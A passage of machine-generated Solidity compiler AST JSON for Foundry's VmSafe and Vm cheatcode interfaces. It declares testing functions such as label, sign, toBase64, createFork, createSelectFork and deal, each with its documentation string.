VmSafe.Wallet"}},"visibility":"internal"}],"src":"70297:24:13"},"returnParameters":{"id":15033,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15032,"mutability":"mutable","name":"nonce","nameLocation":"70347:5:13","nodeType":"VariableDeclaration","scope":15034,"src":"70340:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15031,"name":"uint64","nodeType":"ElementaryTypeName","src":"70340:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"70339:14:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15042,"nodeType":"FunctionDefinition","src":"70402:67:13","nodes":[],"documentation":{"id":15035,"nodeType":"StructuredDocumentation","src":"70360:37:13","text":"Labels an address in call traces."},"functionSelector":"c657c718","implemented":false,"kind":"function","modifiers":[],"name":"label","nameLocation":"70411:5:13","parameters":{"id":15040,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15037,"mutability":"mutable","name":"account","nameLocation":"70425:7:13","nodeType":"VariableDeclaration","scope":15042,"src":"70417:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15036,"name":"address","nodeType":"ElementaryTypeName","src":"70417:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15039,"mutability":"mutable","name":"newLabel","nameLocation":"70450:8:13","nodeType":"VariableDeclaration","scope":15042,"src":"70434:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15038,"name":"string","nodeType":"ElementaryTypeName","src":"70434:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"70416:43:13"},"returnParameters":{"id":15041,"nodeType":"ParameterList","parameters":[],"src":"70468:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15050,"nodeType":"FunctionDefinition","src":"70553:76:13","nodes":[],"documentation":{"id":15043,"nodeType":"StructuredDocumentation","src":"70475:73:13","text":"Adds a private key to the local forge wallet and returns the address."},"functionSelector":"22100064","implemented":false,"kind":"function","modifiers":[],"name":"rememberKey","nameLocation":"70562:11:13","parameters":{"id":15046,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15045,"mutability":"mutable","name":"privateKey","nameLocation":"70582:10:13","nodeType":"VariableDeclaration","scope":15050,"src":"70574:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15044,"name":"uint256","nodeType":"ElementaryTypeName","src":"70574:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"70573:20:13"},"returnParameters":{"id":15049,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15048,"mutability":"mutable","name":"keyAddr","nameLocation":"70620:7:13","nodeType":"VariableDeclaration","scope":15050,"src":"70612:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15047,"name":"address","nodeType":"ElementaryTypeName","src":"70612:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"70611:17:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15065,"nodeType":"FunctionDefinition","src":"70671:103:13","nodes":[],"documentation":{"id":15051,"nodeType":"StructuredDocumentation","src":"70635:31:13","text":"Signs data with a `Wallet`."},"functionSelector":"b25c5a25","implemented":false,"kind":"function","modifiers":[],"name":"sign","nameLocation":"70680:4:13","parameters":{"id":15057,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15054,"mutability":"mutable","name":"wallet","nameLocation":"70701:6:13","nodeType":"VariableDeclaration","scope":15065,"src":"70685:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_calldata_ptr","typeString":"struct VmSafe.Wallet"},"typeName":{"id":15053,"nodeType":"UserDefinedTypeName","pathNode":{"id":15052,"name":"Wallet","nameLocations":["70685:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":12125,"src":"70685:6:13"},"referencedDeclaration":12125,"src":"70685:6:13","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_storage_ptr","typeString":"struct VmSafe.Wallet"}},"visibility":"internal"},{"constant":false,"id":15056,"mutability":"mutable","name":"digest","nameLocation":"70717:6:13","nodeType":"VariableDeclaration","scope":15065,"src":"70709:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15055,"name":"bytes32","nodeType":"ElementaryTypeName","src":"70709:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"70684:40:13"},"returnParameters":{"id":15064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15059,"mutability":"mutable","name":"v","nameLocation":"70749:1:13","nodeType":"VariableDeclaration","scope":15065,"src":"70743:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":15058,"name":"uint8","nodeType":"ElementaryTypeName","src":"70743:5:13","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"},{"constant":false,"id":15061,"mutability":"mutable","name":"r","nameLocation":"70760:1:13","nodeType":"VariableDeclaration","scope":15065,"src":"70752:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15060,"name":"bytes32","nodeType":"ElementaryTypeName","src":"70752:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":15063,"mutability":"mutable","name":"s","nameLocation":"70771:1:13","nodeType":"VariableDeclaration","scope":15065,"src":"70763:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15062,"name":"bytes32","nodeType":"ElementaryTypeName","src":"70763:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"70742:31:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15073,"nodeType":"FunctionDefinition","src":"70835:80:13","nodes":[],"documentation":{"id":15066,"nodeType":"StructuredDocumentation","src":"70780:50:13","text":"Encodes a `bytes` value to a base64url string."},"functionSelector":"c8bd0e4a","implemented":false,"kind":"function","modifiers":[],"name":"toBase64URL","nameLocation":"70844:11:13","parameters":{"id":15069,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15068,"mutability":"mutable","name":"data","nameLocation":"70871:4:13","nodeType":"VariableDeclaration","scope":15073,"src":"70856:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15067,"name":"bytes","nodeType":"ElementaryTypeName","src":"70856:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"70855:21:13"},"returnParameters":{"id":15072,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15071,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":15073,"src":"70900:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15070,"name":"string","nodeType":"ElementaryTypeName","src":"70900:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"70899:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15081,"nodeType":"FunctionDefinition","src":"70977:81:13","nodes":[],"documentation":{"id":15074,"nodeType":"StructuredDocumentation","src":"70921:51:13","text":"Encodes a `string` value to a base64url string."},"functionSelector":"ae3165b3","implemented":false,"kind":"function","modifiers":[],"name":"toBase64URL","nameLocation":"70986:11:13","parameters":{"id":15077,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15076,"mutability":"mutable","name":"data","nameLocation":"71014:4:13","nodeType":"VariableDeclaration","scope":15081,"src":"70998:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15075,"name":"string","nodeType":"ElementaryTypeName","src":"70998:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"70997:22:13"},"returnParameters":{"id":15080,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15079,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":15081,"src":"71043:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15078,"name":"string","nodeType":"ElementaryTypeName","src":"71043:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"71042:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15089,"nodeType":"FunctionDefinition","src":"71116:77:13","nodes":[],"documentation":{"id":15082,"nodeType":"StructuredDocumentation","src":"71064:47:13","text":"Encodes a `bytes` value to a base64 string."},"functionSelector":"a5cbfe65","implemented":false,"kind":"function","modifiers":[],"name":"toBase64","nameLocation":"71125:8:13","parameters":{"id":15085,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15084,"mutability":"mutable","name":"data","nameLocation":"71149:4:13","nodeType":"VariableDeclaration","scope":15089,"src":"71134:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15083,"name":"bytes","nodeType":"ElementaryTypeName","src":"71134:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"71133:21:13"},"returnParameters":{"id":15088,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15087,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":15089,"src":"71178:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15086,"name":"string","nodeType":"ElementaryTypeName","src":"71178:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"71177:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15097,"nodeType":"FunctionDefinition","src":"71252:78:13","nodes":[],"documentation":{"id":15090,"nodeType":"StructuredDocumentation","src":"71199:48:13","text":"Encodes a `string` value to a base64 string."},"functionSelector":"3f8be2c8","implemented":false,"kind":"function","modifiers":[],"name":"toBase64","nameLocation":"71261:8:13","parameters":{"id":15093,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15092,"mutability":"mutable","name":"data","nameLocation":"71286:4:13","nodeType":"VariableDeclaration","scope":15097,"src":"71270:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15091,"name":"string","nodeType":"ElementaryTypeName","src":"71270:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"71269:22:13"},"returnParameters":{"id":15096,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15095,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":15097,"src":"71315:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15094,"name":"string","nodeType":"ElementaryTypeName","src":"71315:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"71314:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"VmSafe","contractDependencies":[],"contractKind":"interface","documentation":{"id":12031,"nodeType":"StructuredDocumentation","src":"184:225:13","text":"The `VmSafe` interface does not allow manipulation of the EVM state or other actions that may\n result in Script simulations differing from on-chain execution. It is recommended to only use\n these cheats in scripts."},"fullyImplemented":false,"linearizedBaseContracts":[15098],"name":"VmSafe","nameLocation":"419:6:13","scope":15674,"usedErrors":[],"usedEvents":[]},{"id":15673,"nodeType":"ContractDefinition","src":"71505:13590:13","nodes":[{"id":15107,"nodeType":"FunctionDefinition","src":"71665:61:13","nodes":[],"documentation":{"id":15102,"nodeType":"StructuredDocumentation","src":"71564:96:13","text":"Returns the identifier of the currently active fork. Reverts if no fork is currently active."},"functionSelector":"2f103f22","implemented":false,"kind":"function","modifiers":[],"name":"activeFork","nameLocation":"71674:10:13","parameters":{"id":15103,"nodeType":"ParameterList","parameters":[],"src":"71684:2:13"},"returnParameters":{"id":15106,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15105,"mutability":"mutable","name":"forkId","nameLocation":"71718:6:13","nodeType":"VariableDeclaration","scope":15107,"src":"71710:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15104,"name":"uint256","nodeType":"ElementaryTypeName","src":"71710:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"71709:16:13"},"scope":15673,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":15113,"nodeType":"FunctionDefinition","src":"71810:51:13","nodes":[],"documentation":{"id":15108,"nodeType":"StructuredDocumentation","src":"71732:73:13","text":"In forking mode, explicitly grant the given address cheatcode access."},"functionSelector":"ea060291","implemented":false,"kind":"function","modifiers":[],"name":"allowCheatcodes","nameLocation":"71819:15:13","parameters":{"id":15111,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15110,"mutability":"mutable","name":"account","nameLocation":"71843:7:13","nodeType":"VariableDeclaration","scope":15113,"src":"71835:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15109,"name":"address","nodeType":"ElementaryTypeName","src":"71835:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"71834:17:13"},"returnParameters":{"id":15112,"nodeType":"ParameterList","parameters":[],"src":"71860:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15119,"nodeType":"FunctionDefinition","src":"71897:46:13","nodes":[],"documentation":{"id":15114,"nodeType":"StructuredDocumentation","src":"71867:25:13","text":"Sets `block.chainid`."},"functionSelector":"4049ddd2","implemented":false,"kind":"function","modifiers":[],"name":"chainId","nameLocation":"71906:7:13","parameters":{"id":15117,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15116,"mutability":"mutable","name":"newChainId","nameLocation":"71922:10:13","nodeType":"VariableDeclaration","scope":15119,"src":"71914:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15115,"name":"uint256","nodeType":"ElementaryTypeName","src":"71914:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"71913:20:13"},"returnParameters":{"id":15118,"nodeType":"ParameterList","parameters":[],"src":"71942:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15123,"nodeType":"FunctionDefinition","src":"71982:37:13","nodes":[],"documentation":{"id":15120,"nodeType":"StructuredDocumentation","src":"71949:28:13","text":"Clears all mocked calls."},"functionSelector":"3fdf4e15","implemented":false,"kind":"function","modifiers":[],"name":"clearMockedCalls","nameLocation":"71991:16:13","parameters":{"id":15121,"nodeType":"ParameterList","parameters":[],"src":"72007:2:13"},"returnParameters":{"id":15122,"nodeType":"ParameterList","parameters":[],"src":"72018:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15129,"nodeType":"FunctionDefinition","src":"72056:48:13","nodes":[],"documentation":{"id":15124,"nodeType":"StructuredDocumentation","src":"72025:26:13","text":"Sets `block.coinbase`."},"functionSelector":"ff483c54","implemented":false,"kind":"function","modifiers":[],"name":"coinbase","nameLocation":"72065:8:13","parameters":{"id":15127,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15126,"mutability":"mutable","name":"newCoinbase","nameLocation":"72082:11:13","nodeType":"VariableDeclaration","scope":15129,"src":"72074:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15125,"name":"address","nodeType":"ElementaryTypeName","src":"72074:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"72073:21:13"},"returnParameters":{"id":15128,"nodeType":"ParameterList","parameters":[],"src":"72103:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15137,"nodeType":"FunctionDefinition","src":"72224:82:13","nodes":[],"documentation":{"id":15130,"nodeType":"StructuredDocumentation","src":"72110:109:13","text":"Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork."},"functionSelector":"31ba3498","implemented":false,"kind":"function","modifiers":[],"name":"createFork","nameLocation":"72233:10:13","parameters":{"id":15133,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15132,"mutability":"mutable","name":"urlOrAlias","nameLocation":"72260:10:13","nodeType":"VariableDeclaration","scope":15137,"src":"72244:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15131,"name":"string","nodeType":"ElementaryTypeName","src":"72244:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"72243:28:13"},"returnParameters":{"id":15136,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15135,"mutability":"mutable","name":"forkId","nameLocation":"72298:6:13","nodeType":"VariableDeclaration","scope":15137,"src":"72290:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15134,"name":"uint256","nodeType":"ElementaryTypeName","src":"72290:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"72289:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15147,"nodeType":"FunctionDefinition","src":"72413:103:13","nodes":[],"documentation":{"id":15138,"nodeType":"StructuredDocumentation","src":"72312:96:13","text":"Creates a new fork with the given endpoint and block and returns the identifier of the fork."},"functionSelector":"6ba3ba2b","implemented":false,"kind":"function","modifiers":[],"name":"createFork","nameLocation":"72422:10:13","parameters":{"id":15143,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15140,"mutability":"mutable","name":"urlOrAlias","nameLocation":"72449:10:13","nodeType":"VariableDeclaration","scope":15147,"src":"72433:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15139,"name":"string","nodeType":"ElementaryTypeName","src":"72433:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15142,"mutability":"mutable","name":"blockNumber","nameLocation":"72469:11:13","nodeType":"VariableDeclaration","scope":15147,"src":"72461:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15141,"name":"uint256","nodeType":"ElementaryTypeName","src":"72461:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"72432:49:13"},"returnParameters":{"id":15146,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15145,"mutability":"mutable","name":"forkId","nameLocation":"72508:6:13","nodeType":"VariableDeclaration","scope":15147,"src":"72500:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15144,"name":"uint256","nodeType":"ElementaryTypeName","src":"72500:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"72499:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15157,"nodeType":"FunctionDefinition","src":"72741:98:13","nodes":[],"documentation":{"id":15148,"nodeType":"StructuredDocumentation","src":"72522:214:13","text":"Creates a new fork with the given endpoint and at the block the given transaction was mined in,\n replays all transaction mined in the block before the transaction, and returns the identifier of the fork."},"functionSelector":"7ca29682","implemented":false,"kind":"function","modifiers":[],"name":"createFork","nameLocation":"72750:10:13","parameters":{"id":15153,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15150,"mutability":"mutable","name":"urlOrAlias","nameLocation":"72777:10:13","nodeType":"VariableDeclaration","scope":15157,"src":"72761:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15149,"name":"string","nodeType":"ElementaryTypeName","src":"72761:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15152,"mutability":"mutable","name":"txHash","nameLocation":"72797:6:13","nodeType":"VariableDeclaration","scope":15157,"src":"72789:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15151,"name":"bytes32","nodeType":"ElementaryTypeName","src":"72789:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"72760:44:13"},"returnParameters":{"id":15156,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15155,"mutability":"mutable","name":"forkId","nameLocation":"72831:6:13","nodeType":"VariableDeclaration","scope":15157,"src":"72823:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15154,"name":"uint256","nodeType":"ElementaryTypeName","src":"72823:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"72822:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15165,"nodeType":"FunctionDefinition","src":"72974:88:13","nodes":[],"documentation":{"id":15158,"nodeType":"StructuredDocumentation","src":"72845:124:13","text":"Creates and also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork."},"functionSelector":"98680034","implemented":false,"kind":"function","modifiers":[],"name":"createSelectFork","nameLocation":"72983:16:13","parameters":{"id":15161,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15160,"mutability":"mutable","name":"urlOrAlias","nameLocation":"73016:10:13","nodeType":"VariableDeclaration","scope":15165,"src":"73000:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15159,"name":"string","nodeType":"ElementaryTypeName","src":"73000:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"72999:28:13"},"returnParameters":{"id":15164,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15163,"mutability":"mutable","name":"forkId","nameLocation":"73054:6:13","nodeType":"VariableDeclaration","scope":15165,"src":"73046:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15162,"name":"uint256","nodeType":"ElementaryTypeName","src":"73046:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73045:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15175,"nodeType":"FunctionDefinition","src":"73186:109:13","nodes":[],"documentation":{"id":15166,"nodeType":"StructuredDocumentation","src":"73068:113:13","text":"Creates and also selects a new fork with the given endpoint and block and returns the identifier of the fork."},"functionSelector":"71ee464d","implemented":false,"kind":"function","modifiers":[],"name":"createSelectFork","nameLocation":"73195:16:13","parameters":{"id":15171,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15168,"mutability":"mutable","name":"urlOrAlias","nameLocation":"73228:10:13","nodeType":"VariableDeclaration","scope":15175,"src":"73212:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15167,"name":"string","nodeType":"ElementaryTypeName","src":"73212:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15170,"mutability":"mutable","name":"blockNumber","nameLocation":"73248:11:13","nodeType":"VariableDeclaration","scope":15175,"src":"73240:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15169,"name":"uint256","nodeType":"ElementaryTypeName","src":"73240:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73211:49:13"},"returnParameters":{"id":15174,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15173,"mutability":"mutable","name":"forkId","nameLocation":"73287:6:13","nodeType":"VariableDeclaration","scope":15175,"src":"73279:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15172,"name":"uint256","nodeType":"ElementaryTypeName","src":"73279:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73278:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15185,"nodeType":"FunctionDefinition","src":"73531:104:13","nodes":[],"documentation":{"id":15176,"nodeType":"StructuredDocumentation","src":"73301:225:13","text":"Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in,\n replays all transaction mined in the block before the transaction, returns the identifier of the fork."},"functionSelector":"84d52b7a","implemented":false,"kind":"function","modifiers":[],"name":"createSelectFork","nameLocation":"73540:16:13","parameters":{"id":15181,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15178,"mutability":"mutable","name":"urlOrAlias","nameLocation":"73573:10:13","nodeType":"VariableDeclaration","scope":15185,"src":"73557:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15177,"name":"string","nodeType":"ElementaryTypeName","src":"73557:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15180,"mutability":"mutable","name":"txHash","nameLocation":"73593:6:13","nodeType":"VariableDeclaration","scope":15185,"src":"73585:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"73585:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"73556:44:13"},"returnParameters":{"id":15184,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15183,"mutability":"mutable","name":"forkId","nameLocation":"73627:6:13","nodeType":"VariableDeclaration","scope":15185,"src":"73619:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15182,"name":"uint256","nodeType":"ElementaryTypeName","src":"73619:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73618:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15193,"nodeType":"FunctionDefinition","src":"73675:60:13","nodes":[],"documentation":{"id":15186,"nodeType":"StructuredDocumentation","src":"73641:29:13","text":"Sets an address' balance."},"functionSelector":"c88a5e6d","implemented":false,"kind":"function","modifiers":[],"name":"deal","nameLocation":"73684:4:13","parameters":{"id":15191,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15188,"mutability":"mutable","name":"account","nameLocation":"73697:7:13","nodeType":"VariableDeclaration","scope":15193,"src":"73689:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15187,"name":"address","nodeType":"ElementaryTypeName","src":"73689:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15190,"mutability":"mutable","name":"newBalance","nameLocation":"73714:10:13","nodeType":"VariableDeclaration","scope":15193,"src":"73706:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15189,"name":"uint256","nodeType":"ElementaryTypeName","src":"73706:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73688:37:13"},"returnParameters":{"id":15192,"nodeType":"ParameterList","parameters":[],"src":"73734:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15201,"nodeType":"FunctionDefinition","src":"73973:76:13